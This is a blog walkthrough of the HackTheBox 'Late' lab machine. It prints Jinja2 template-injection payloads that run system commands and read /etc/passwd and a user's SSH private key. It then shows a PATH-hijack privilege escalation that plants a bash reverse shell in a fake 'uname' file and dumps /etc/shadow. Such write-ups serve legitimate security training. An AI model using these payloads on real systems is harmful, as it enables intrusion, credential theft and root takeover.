Late HackTheBox WalkThrough

Banner image of Late HackTheBox during its walkthrough

This is Late HackTheBox machine walkthrough. In this writeup, I have demonstrated step-by-step how I rooted Late HackTheBox machine. Before starting let us know something about this machine. It is Linux OS box with IP address and difficulty easy assigned by its maker.

First of all, connect your PC with HackTheBox VPN and make sure your connectivity with Late box by pinging its IP If all goes correct, then start hacking. As usual, I started by scanning the machine. Scanning gives us an idea how we have to proceed further. Like, it helps in banner grabbing the services running over different ports and sometime it helps in vulnerability assessment also. I have used $ nmap [a popular port scanner] for this task and the result is given below: –


$ sudo nmap -p- --min-rate=5000 -oN Alltcp-port.nmap
Nmap scan result 1 on Late HackTheBox during its walkthrough
$ sudo nmap -p22,80 -sC -sV -oN ScriptScan.nmap
Nmap scan result 2 on Late HackTheBox during its walkthrough

Full port scan with $ nmap revealed only 2 ports as open. OpenSSH 7.6p1 is running over port 22, using this port we will access the Late machine once we will get SSH credential of any user. For now, we don’t have any SSH credential so we will come to it after finding some credential. Nginx 1.14.0 web server is running over port 80. A quick search for public vulnerabilities and exploits in Nginx 1.14.0 does not find any, which means this server is completely patched. We require to find some other techniques or attack vector to get into this box.

On-going to URLs found a vhost late.htb. So, before going further let us add late.htb to our hosts file. If virtual host routing will be enabled, we will get some other website to enumerate on. hosts file is present in the directory /etc/.

Late.htb vhosts enumeration

Hosts File After Modification 1

$ cat /etc/hosts
Host file after modification 1 during  Late HackTheBox walkthrough

http://late.htb also has the same web page as we have on After checking the source code at view-source: found a new virtual host images.late.htb.

Images.late.htb vhosts discovery in page source

Also, let us add images.late.htb to out hosts file in case we would get something new to enumerate and play with it.

Hosts File After Modification 2

Host file after modification 2 during  Late HackTheBox walkthrough

Ongoing to http://images.late.htb/ found a page that extract text from image file. Basically, this page contains an application which functions as OCR (Optical Character Reader) that read image file and extract text from it. According to its banner, Convert image to Text with Flask it appears that the framework which is handling the file upload functionality is made using python flask. Don’t know exactly what is running in backend, just guessing. Uploaded some images containing text to check the functionality and found that the application works as perfect OCR as it extracts text from image.

Convert Image web page

Performed directory bruteforcing, vhost bruteforcing and did some fuzzing for parameters but did not find any hint to go forward. I thought if I would get some way to inject data in URL or image file then I would test for SSTI (Server-Side Template Injection) vulnerability but got failed, as there were no parameter and even my payload didn’t reflect anywhere in the application.

One hint I got from the name of the box is late which is the suffix of template i.e., temp + late = template, which hinted me that there is definitely some SSTI present in the box, but I am unable to figure it out.

Checking & Confirming SSTI

After spending sometimes on the site, I randomly took a screenshot of some SSTI payload and uploaded it on the site to scan the image and got some of my SSTI payload got executed as shown in the screenshot given below. You can get list of SSTI payload from hacktricks.

{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}
SSTI payload to check vulnerability during Late HackTheBox WalkThrough


Confirming RCE

Now, since we have confirmed Server-Side Template Injection, our next step should be to identify the template engine being used then we will further look for the specific payload using which we can perform remote code execution. Since the application is using flask framework [as hinted in banner] therefore I tried some payload of Jinja2 template engine. Because Jinja2 is used as template engine in flask framework. You can get different SSTI payload of various template engine from this page.

After several hit and trial, I got below two payloads worked for me and using them I could easily perform RCE on late machine.

{{ cycler.__init__.__globals__.os.popen('id').read() }}{{ namespace.__init__.__globals__.os.popen('id').read() }}
RCE payload to check remote code execution during Late HackTheBox WalkThrough


Here is the payload to dump the passwd file of late machine.

{{ cycler.__init__.__globals__.os.popen('cat /etc/passwd').read() }}
SSTI Payload to dump passwd file from Late machine

From above passwd file we can confirm there are only two users who have bash shell. One is root and other is svc_acc. Since we don’t have access to the files of user root therefore, I tried to dump the SSH private key of user svc_acc and luckily got the private key as shown below.

{{ cycler.__init__.__globals__.os.popen('cat /home/svc_acc/.ssh/id_rsa').read() }}
SSTI payload to dump SSH private key of svc_acc user
ID_RSA key of svc_acc user dump during Late HackTheBox WalkThrough

After removing the paragraph tag from above file our SSH key will became

ID_RSA Key after removing paragraph tag from the key file

Save above key in a separate file named svc_ssh_key and then login to svc_acc account using this private key.

Getting User Shell

$ nano svc_ssh_key
$ chmod 600 svc_ssh_key
$ ssh -i svc_ssh_key [email protected]
Getting user shell during Late HackTheBox WalkThrough

We have successfully got user shell as svc_acc. Let us capture user flag.

Capture User Flag

$ cat user.txt
User Flag of Late HTB Box

Privilege Escalation

To escalate the privilege to root we have to first find a Privilege Escalation Vector using which we can perform privilege escalation. We can find PrivEsc vector either manually or using some post exploitation enumeration scripts like LinPEAS, and there are a lot more. This time I will go with LinPEAS viz. script enumeration technique.

Finding PrivEsc Vector

LinPEAS found that user svc_acc can write in /usr/local/sbin directory. There is also a file inside this directory.

LinPEAS result in Late HTB writeup

On checking the file permission found that user svc_acc can edit this file. But when I tried to edit it, it gave me permission denied error. One thing is clear from it is that root user is controlling this file.

Permission of ssh-alert-sh file

Then I ran pspy [a process monitoring tool] to monitor the running processes and it found whenever user svc_acc open SSH connection or login using SSH then file is executed. And also, this file is executed by root [check UID=0] user. If we can anyhow edit this file and put our reverse shell code into it, then we will get root shell when this file is executed by root. Since user svc_acc can’t edit this file so we have to check for some other method to get root.

Process Monitoring on Late HTB machine during its walkthrough

On checking the content of file found that $ date and $ uname commands are not used with their absolute path (full path). If any command is not used with its absolute path in any bash script, then it creates PATH hijacking vulnerability which often leads to privilege escalation. Check HTB boxes with same PrivEsc vector here and here.

How PATH Hijacking vulnerability works ?

Whenever we run a bash script, during its execution when interpreter finds an OS command in the script, it searches the command binary in various directories which are present in the PATH variable. If the absolute path of the OS command is not specified in the script, interpreter begins its search from the current directory, then move to other directories which is stored in PATH variable. Whenever it will get any binary or file with the same name as the OS command [which is present in the script] in the current directory then it will execute that file instead of genuine command which is present in other directory. When the binary/file doesn’t present in the current directory then interpreter will search the file/binary in other directories which are stored in PATH variable.

For example, when file is executed, interpreter search for $ date and $ uname binary. Since /usr/local/sbin [where file is present] path is stored in the PATH variable [See below screenshot] therefore it [interpreter] will begin its search from current directory. If we create a file named date or uname with our reverse shell code in it and make them executable, then they will be treated as valid file and will be executed instead of real $ uname and $ date command.

Since file is executed by root user therefore the shell which we will get upon the execution of date or uname file is root shell.

$ cat /usr/local/sbin/
Content of ssh-alert file
$ echo $PATH
PATH variable result of Late machine

When I tried to escalate the privilege by the same method, I could easily get root shell. So here we have confirmed our potential PrivEsc vector is Privilege Escalation via PATH Hijacking.

Getting Root Shell

To get root shell follow the below steps:

$ cd /usr/local/sbin/
$ echo 'bash -i >& /dev/tcp/ 0>&1' >uname
$ chmod +x uname
$ exit
$ ssh -i svc_ssh_key [email protected]
Privilege Escalation on Late HackTheBox machine during its walkthrough

We have successfully got root shell. Let us capture root flag.

Capture Root Flag

# cat /root/root.txt
Capturing root flag on Late HackTheBox machine during its walkthrough

Dumping Root Hash

# cat /etc/shadow | grep root
Dumping root hash

This was how I rooted to Late HackTheBox machine. Learnt a lot during this walkthrough. Hope you have also learnt some new things. Thanks for reading this writeup. Share your experience in the comment section. Want to give any suggestion about the writeup feel free to write us at [email protected]. Check out my latest articles at

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Deepak Kumar Maurya

Hi everyone, I am Deepak Kumar Maurya, creator of I am InfoSec Consultant in day and Bug Bounty Hunter & CTF player at night. Sometimes write walkthrough and other cyber security articles here. You can connect me at